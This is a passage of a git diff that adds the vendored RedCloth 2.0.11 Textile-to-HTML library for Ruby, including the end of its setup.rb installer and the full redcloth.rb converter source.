extdir? curr_srcdir then + make + end + end + + def make + command config('make-prog') + end + + def setup_dir_data( relpath ) + end + + # + # install + # + + def exec_install + exec_task_traverse 'install' + end + + def install_dir_bin( rel ) + install_files targfiles, config('bin-dir') + '/' + rel, 0755 + end + + def install_dir_lib( rel ) + install_files targfiles, config('rb-dir') + '/' + rel, 0644 + begin + require 'rdoc/rdoc' + ri_site = true + if RDOC_VERSION =~ /^0\./ + require 'rdoc/options' + unless Options::OptionList::OPTION_LIST.assoc('--ri-site') + ri_site = false + end + end + if ri_site + r = RDoc::RDoc.new + r.document(%w{--ri-site}) + end + rescue + puts "** Unable to install Ri documentation for RedCloth **" + end + end + + def install_dir_ext( rel ) + if extdir? curr_srcdir then + install_dir_ext_main File.dirname(rel) + end + end + + def install_dir_ext_main( rel ) + install_files allext('.'), config('so-dir') + '/' + rel, 0555 + end + + def install_dir_data( rel ) + install_files targfiles, config('data-dir') + '/' + rel, 0644 + end + + def install_files( list, dest, mode ) + mkdir_p dest, @options['install-prefix'] + list.each do |fname| + install fname, dest, mode, @options['install-prefix'] + end + end + + def targfiles + (targfilenames() - hookfilenames()).collect {|fname| + File.exist?(fname) ? fname : File.join(curr_srcdir(), fname) + } + end + + def targfilenames + [ curr_srcdir(), '.' ].inject([]) {|ret, dir| + ret | all_files(dir) + } + end + + def hookfilenames + %w( pre-%s post-%s pre-%s.rb post-%s.rb ).collect {|fmt| + %w( config setup install clean ).collect {|t| sprintf fmt, t } + }.flatten + end + + def allext( dir ) + _allext(dir) or raise InstallError, + "no extention exists: Have you done 'ruby #{$0} setup' ?" + end + + DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ + + def _allext( dir ) + Dir.open( dir ) {|d| + return d.find_all {|fname| DLEXT === fname } + } + end + + # + # clean + # + + def exec_clean + exec_task_traverse 'clean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def clean_dir_bin( rel ) + end + + def clean_dir_lib( rel ) + end + + def clean_dir_ext( rel ) + clean + end + + def clean + command config('make-prog') + ' clean' if File.file? 'Makefile' + end + + def clean_dir_data( rel ) + end + + # + # lib + # + + def exec_task_traverse( task ) + run_hook 'pre-' + task + FILETYPES.each do |type| + if config('without-ext') == 'yes' and type == 'ext' then + $stderr.puts 'skipping ext/* by user option' if verbose? + next + end + traverse task, type, task + '_dir_' + type + end + run_hook 'post-' + task + end + + def traverse( task, rel, mid ) + dive_into( rel ) { + run_hook 'pre-' + task + __send__ mid, rel.sub( %r_\A.*?(?:/|\z)_, '' ) + all_dirs( curr_srcdir ).each do |d| + traverse task, rel + '/' + d, mid + end + run_hook 'post-' + task + } + end + + def run_hook( name ) + try_run_hook curr_srcdir + '/' + name or + try_run_hook curr_srcdir + '/' + name + '.rb' + end + + def try_run_hook( fname ) + return false unless File.file? fname + + env = self.dup + begin + env.instance_eval File.read_all(fname), fname, 1 + rescue + raise InstallError, "hook #{fname} failed:\n" + $!.message + end + true + end + + def extdir?( dir ) + File.exist? dir + '/MANIFEST' + end + +end + +### end base.rb +### begin toplevel.rb + +class ToplevelInstaller < Installer + + TASKS = [ + [ 'config', 'saves your configurations' ], + [ 'show', 'shows current configuration' ], + [ 'setup', 'compiles extention or else' ], + [ 'install', 'installs files' ], + [ 'clean', "does `make clean' for each extention" ] + ] + + + def initialize( root ) + super nil, {'verbose' => true}, root, '.' + Installer.declear_toplevel_installer self + end + + + def execute + run_metaconfigs + + case task = parsearg_global() + when 'config' + @config = ConfigTable.new + else + @config = ConfigTable.load + end + parsearg_TASK task + + exectask task + end + + + def run_metaconfigs + MetaConfigEnvironment.eval_file "#{srcdir_root}/#{metaconfig}" + end + + def metaconfig + 'metaconfig' + end + + + def exectask( task ) + if task == 'show' then + exec_show + else + try task + end + end + + def try( task ) + $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? + begin + __send__ 'exec_' + task + rescue + $stderr.printf "%s failed\n", task + raise + end + $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? + end + + # + # processing arguments + # + + def parsearg_global + task_re = /\A(?:#{TASKS.collect {|i| i[0] }.join '|'})\z/ + + while arg = ARGV.shift do + case arg + when /\A\w+\z/ + task_re === arg or raise InstallError, "wrong task: #{arg}" + return arg + + when '-q', '--quiet' + @options['verbose'] = false + + when '--verbose' + @options['verbose'] = true + + when '-h', '--help' + print_usage $stdout + exit 0 + + when '-v', '--version' + puts "#{File.basename $0} version #{Version}" + exit 0 + + when '--copyright' + puts Copyright + exit 0 + + else + raise InstallError, "unknown global option '#{arg}'" + end + end + + raise InstallError, 'no task or global option given' + end + + + def parsearg_TASK( task ) + mid = "parsearg_#{task}" + if respond_to? mid, true then + __send__ mid + else + ARGV.empty? or + raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" + end + end + + def parsearg_config + re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ + @options['config-opt'] = [] + + while i = ARGV.shift do + if /\A--?\z/ === i then + @options['config-opt'] = ARGV.dup + break + end + m = re.match(i) or raise InstallError, "config: unknown option #{i}" + name, value = m.to_a[1,2] + if value then + if ConfigTable.bool_config?(name) then + /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" + value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' + end + else + ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" + value = 'yes' + end + @config[name] = value + end + end + + def parsearg_install + @options['no-harm'] = false + @options['install-prefix'] = '' + while a = ARGV.shift do + case a + when /\A--no-harm\z/ + @options['no-harm'] = true + when /\A--prefix=(.*)\z/ + path = $1 + path = File.expand_path(path) unless path[0,1] == '/' + @options['install-prefix'] = path + else + raise InstallError, "install: unknown option #{a}" + end + end + end + + + def print_usage( out ) + out.puts + out.puts 'Usage:' + out.puts " ruby #{File.basename $0} " + out.puts " ruby #{File.basename $0} [] []" + + fmt = " %-20s %s\n" + out.puts + out.puts 'Global options:' + out.printf fmt, '-q,--quiet', 'suppress message outputs' + out.printf fmt, ' --verbose', 'output messages verbosely' + out.printf fmt, '-h,--help', 'print this message' + out.printf fmt, '-v,--version', 'print version and quit' + out.printf fmt, '--copyright', 'print copyright and quit' + + out.puts + out.puts 'Tasks:' + TASKS.each do |name, desc| + out.printf " %-10s %s\n", name, desc + end + + out.puts + out.puts 'Options for config:' + ConfigTable.each_definition do |name, (default, arg, desc, default2)| + out.printf " %-20s %s [%s]\n", + '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), + desc, + default2 || default + end + out.printf " %-20s %s [%s]\n", + '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" + + out.puts + out.puts 'Options for install:' + out.printf " %-20s %s [%s]\n", + '--no-harm', 'only display what to do if given', 'off' + + out.puts + end + + # + # config + # + + def exec_config + super + @config.save + end + + # + # show + # + + def exec_show + ConfigTable.each_name do |k| + v = @config.get_raw(k) + if not v or v.empty? then + v = '(not specified)' + end + printf "%-10s %s\n", k, v + end + end + +end + +### end toplevel.rb + +if $0 == __FILE__ then + begin + installer = ToplevelInstaller.new( Dir.pwd ) + installer.execute + rescue + raise if $DEBUG + $stderr.puts $!.message + $stderr.puts "try 'ruby #{$0} --help' for usage" + exit 1 + end +end diff --git a/vendor/redcloth-2.0.11/lib/redcloth.rb b/vendor/redcloth-2.0.11/lib/redcloth.rb new file mode 100755 index 00000000..61b2577e --- /dev/null +++ b/vendor/redcloth-2.0.11/lib/redcloth.rb @@ -0,0 +1,894 @@ +# vim:ts=4:sw=4: +# = RedCloth - Textile for Ruby +# +# Homepage:: http://whytheluckystiff.net/ruby/redcloth/ +# Author:: why the lucky stiff (http://whytheluckystiff.net/) +# Copyright:: (c) 2004 why the lucky stiff (and his puppet organizations.) +# License:: BSD +# +# (see http://hobix.com/textile/ for a Textile Reference.) +# +# Based on (and also inspired by) both: +# +# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt +# Textism for PHP: http://www.textism.com/tools/textile/ +# +# + +class String + # + # Flexible HTML escaping + # + def htmlesc!( mode ) + gsub!( '&', '&' ) + gsub!( '"', '"' ) if mode != :NoQuotes + gsub!( "'", ''' ) if mode == :Quotes + gsub!('<', '<') + gsub!('>', '>') + end +end + +# = RedCloth +# +# RedCloth is a Ruby library for converting Textile +# into HTML. +# +# == What is Textile? +# +# Textile is a simple formatting style for text +# documents, loosely based on some HTML conventions. +# +# == Sample Textile Text +# +# h2. This is a title +# +# h3. This is a subhead +# +# This is a bit of paragraph. +# +# bq. This is a blockquote. +# +# = Writing Textile +# +# A Textile document consists of paragraphs. Paragraphs +# can be specially formatted by adding a small instruction +# to the beginning of the paragraph. +# +# h[n]. Header of size [n]. +# bq. Blockquote. +# # Numeric list. +# * Bulleted list. +# +# == Quick Phrase Modifiers +# +# Quick phrase modifiers are also included, to allow formatting +# of small portions of text within a paragraph. +# +# \_emphasis\_ +# \_\_italicized\_\_ +# \*strong\* +# \*\*bold\*\* +# ??citation?? +# -deleted text- +# +inserted text+ +# ^superscript^ +# ~subscript~ +# @code@ +# %(classname)span% +# +# ==notextile== (leave text alone) +# +# == Links +# +# To make a hypertext link, put the link text in "quotation +# marks" followed immediately by a colon and the URL of the link. +# +# Optional: text in (parentheses) following the link text, +# but before the closing quotation mark, will become a Title +# attribute for the link, visible as a tool tip when a cursor is above it. +# +# Example: +# +# "This is a link (This is a title) ":http://www.textism.com +# +# Will become: +# +# This is a link +# +# == Images +# +# To insert an image, put the URL for the image inside exclamation marks. +# +# Optional: text that immediately follows the URL in (parentheses) will +# be used as the Alt text for the image. Images on the web should always +# have descriptive Alt text for the benefit of readers using non-graphical +# browsers. +# +# Optional: place a colon followed by a URL immediately after the +# closing ! to make the image into a link. +# +# Example: +# +# !http://www.textism.com/common/textist.gif(Textist)! +# +# Will become: +# +# Textist +# +# With a link: +# +# !/common/textist.gif(Textist)!:http://textism.com +# +# Will become: +# +# Textist +# +# == Defining Acronyms +# +# HTML allows authors to define acronyms via the tag. The definition appears as a +# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, +# this should be used at least once for each acronym in documents where they appear. +# +# To quickly define an acronym in Textile, place the full text in (parentheses) +# immediately following the acronym. +# +# Example: +# +# ACLU(American Civil Liberties Union) +# +# Will become: +# +# ACLU +# +# == Adding Tables +# +# In Textile, simple tables can be added by seperating each column by +# a pipe. +# +# |a|simple|table|row| +# |And|Another|table|row| +# +# Attributes are defined by style definitions in parentheses. +# +# table(border:1px solid black). +# (background:#ddd;color:red). |{}| | | | +# +# == Using RedCloth +# +# RedCloth is simply an extension of the String class, which can handle +# Textile formatting. Use it like a String and output HTML with its +# RedCloth#to_html method. +# +# doc = RedCloth.new " +# +# h2. Test document +# +# Just a simple test." +# +# puts doc.to_html + +class RedCloth < String + + VERSION = '2.0.11' + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + # + # Returns a new RedCloth object, based on _string_ and + # enforcing all the included _restrictions_. + # + # r = RedCloth.new( "h1. A bold man", [:filter_html] ) + # r.to_html + # #=>"

    A <b>bold</b> man

    " + # + def initialize( string, restrictions = [] ) + @lite = false + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generates HTML from the Textile contents. The _lite_ flag + # may be used to honor only inline markup, ignoring lists, tables, + # and block formatting. + # + # r = RedCloth.new( "And then? She *fell*!" ) + # r.to_html( true ) + # #=>"And then? She fell!" + # + def to_html( lite = nil ) + + @lite = lite unless lite.nil? + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + incoming_entities text + ## encode_entities text + ## fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + inline text + + unless @lite + fold text + block text + end + + retrieve text + + text.gsub!( /<\/?notextile>/, '' ) + text.gsub!( /x%x%/, '&' ) + text.gsub!( /
    /, "
    \n" ) + text.strip! + text + + end + + ####### + private + ####### + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right' + } + + H_ALGN_VALS = { + '<' => 'left', + '=' => 'center', + '>' => 'right', + '<>' => 'justify' + } + + V_ALGN_VALS = { + '^' => 'top', + '-' => 'middle', + '~' => 'bottom' + } + + QTAGS = [ + ['**', 'b'], + ['*', 'strong'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'i'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ].collect do |rc, ht| + ttr = Regexp.quote(rc) + punct = PUNCT.sub( Regexp::quote(rc), '' ) + re = /(^|[\s\>#{punct}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{punct}]*?) + #{ttr} + (?=[\s\])}<#{punct}]|$)/xm + [re, ht] + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + TABLE_RE = /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)(\n\n|\Z)/m + + def table( text ) + text.gsub!( TABLE_RE ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + LISTS_RE = /^([#*]+?#{C} .*?)$(?![^#*])/m + LISTS_CONTENT_RE = /^([#*]+)(#{A}#{C}) (.*)$/m + + def lists( text ) + text.gsub!( LISTS_RE ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ LISTS_CONTENT_RE + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\n\t" + depth.pop + end + end + if depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t<#{ lT(tl) }l#{ atts }>\n\t
  • #{ content }" + else + lines[line_id] = "\t\t
  • #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "
  • \n\t" + end + end + end + lines.join( "\n" ) + end + end + + def lT( text ) + text =~ /\#$/ ? 'o' : 'u' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
    ' }" ) + end + + BLOCK_RE = ['bq','h[1-6]','fn\d+','p'].collect!{|stag| + [stag, + /^(#{ stag })(#{A}#{C})\.(?::(\S+))? (.*)$/] + } + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+','p'] + + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)[^>]*>/i + BLOCK_RE.each do |stag, ctag| + line.gsub!( ctag ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + tag = 'p'; + atts << " id=\"fn#{ $1 }\"" + content = "#{ $1 } #{ content }" + end + + start = "\t<#{ tag }" + tend = "" + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\n\t\t#{ content }#{ tend }" + end unless pre + end + + line.gsub!( /^(?!\t|<\/?div|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

    \\1

    " ) unless pre + + line.gsub!( "
    ", "\n" ) if pre + pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + end + + def span( text ) + QTAGS.each do |ttr, ht| + text.gsub!(ttr) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + + "#{ start }<#{ ht }#{ atts }>#{ content }#{ tend }" + + end + end + end + + LINK_RE = / + ([\s\[{(]|[#{PUNCT}])? # $pre + " # start + (#{C}) # $atts + ([^"]+?) # $text + \s? + (?:\(([^)]+?)\)(?="))? # $title + ": + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=<|\s|$) + /x + + def links( text ) + text.gsub!( LINK_RE ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + + "#{ pre }#{ text }#{ post }" + end + end + + REFS_RE = /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ + + def get_refs( text ) + text.gsub!( REFS_RE ) do |m| + flag, url = $~[2..3] + @urlrefs[flag] = url + nil + end + end + + def check_refs( text ) + @urlrefs[text] || text + end + + IMAGE_RE = / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x + + def image( text ) + text.gsub!( IMAGE_RE ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + atts << " border=\"0\"" if href + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end + end + + CODE_RE = / + (^|[\s>#{PUNCT}{(\[]) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?=[\s\]}\)<#{PUNCT}]|$) # 4 closing bracket? + /x + + def code( text ) + text.gsub!( CODE_RE ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang + "#{ before }#{ code }
    #{ after }" + end + end + + def shelve( val ) + @shelf << val + " <#{ @shelf.length }>" + end + + def retrieve( text ) + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end + end + + def incoming_entities( text ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + end + + def encode_entities( text ) + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.htmlesc!( :NoQuotes ) + # end + end + + def fix_entities( text ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( ">", ">" ) + text.gsub!( "<", "<" ) + text.gsub!( "&", "&" ) + end + + def clean_white_space( text ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) + end + + def no_textile( text ) + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + '\1\2\3' ) + end + + def footnote_ref( text ) + text.gsub!( /\b\[([0-9]+?)\](\s)?/, + '\1\2' ) + end + + OFFTAGS = /(code|pre|kbd|notextile)/ + OFFTAG_MATCH = /(?:(<\/#{ OFFTAGS }>)|(<#{ OFFTAGS }[^>]*>))(.*?)(?=<\/?#{ OFFTAGS }>|\Z)/mi + OFFTAG_OPEN = /<#{ OFFTAGS }/ + OFFTAG_CLOSE = /<\/?#{ OFFTAGS }/ + HASTAG_MATCH = /(<\/?\w[^\n]*?>)/m + ALLTAG_MATCH = /(<\/?\w[^\n]*?>)|.*?(?=<\/?\w[^\n]*?>|$)/m + + def glyphs( text, level = 0 ) + if text !~ HASTAG_MATCH + pgl text + footnote_ref text + else + codepre = 0 + text.gsub!( ALLTAG_MATCH ) do |line| + ## matches are off if we're between ,
     etc.
    +                if $1
    +                    if @filter_html
    +                        line.htmlesc!( :NoQuotes )
    +                    elsif line =~ OFFTAG_OPEN
    +                        codepre += 1
    +                    elsif line =~ OFFTAG_CLOSE
    +                        codepre -= 1
    +                        codepre = 0 if codepre < 0
    +                    end 
    +                ## do htmlspecial if between 
    +                elsif codepre.zero?
    +                    glyphs( line, level + 1 )
    +                else
    +                    line.htmlesc!( :NoQuotes )
    +                end
    +                ## p [level, codepre, orig_line, line]
    +
    +                line
    +            end
    +        end
    +    end
    +
    +    def rip_offtags( text )
    +        pre_list = []
    +        if text =~ /<.*>/
    +            ## strip and encode 
     content
    +            codepre, used_offtags = 0, {}
    +            text.gsub!( OFFTAG_MATCH ) do |line|
    +                if $3
    +                    offtag, aftertag = $4, $5
    +                    codepre += 1
    +                    used_offtags[offtag] = true
    +                    if codepre - used_offtags.length > 0
    +                        line.htmlesc!( :NoQuotes ) 
    +                        pre_list.last << line
    +                        line = ""
    +                    else
    +                        aftertag.htmlesc!( :NoQuotes ) if aftertag
    +                        line = ""
    +                        pre_list << "#{ $3 }#{ aftertag }"
    +                    end
    +                elsif $1 and codepre > 0
    +                    if codepre - used_offtags.length > 0
    +                        line.htmlesc!( :NoQuotes ) 
    +                        pre_list.last << line
    +                        line = ""
    +                    end
    +                    codepre -= 1 unless codepre.zero?
    +                    used_offtags = {} if codepre.zero?
    +                end 
    +                line
    +            end
    +        end
    +        pre_list
    +    end
    +
    +    def smooth_offtags( text, pre_list )
    +        unless pre_list.empty?
    +            ## replace 
     content
    +            text.gsub!( // ) { pre_list[$1.to_i] }
    +        end
    +    end
    +
    +    def inline( text ) 
    +        text.gsub!( /"\z/, "\" " )
    +        pre_list = rip_offtags text
    +
    +        ## apply inline markup
    +        unless @lite
    +            lists text
    +            table text
    +        end
    +
    +        image text 
    +        links text 
    +        code text 
    +        span text
    +
    +        ## replace entities
    +        glyphs text
    +        smooth_offtags text, pre_list
    +    end
    +
    +    def i_align( text )
    +        I_ALGN_VALS[text]
    +    end
    +
    +    def h_align( text ) 
    +        H_ALGN_VALS[text]
    +    end
    +
    +    def v_align( text ) 
    +        V_ALGN_VALS[text]
    +    end
    +
    +    def encode_high( text )
    +        ## mb_encode_numericentity($text, $cmap, $charset);
    +    end
    +
    +    def decode_high( text )
    +        ## mb_decode_numericentity($text, $cmap, $charset);
    +    end
    +
    +    def textile_popup_help( name, helpvar, windowW, windowH )
    +        ' ' + name + '
    ' + end + + CMAP = [ + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] +end + diff --git a/vendor/redcloth-2.0.11/run-tests.rb 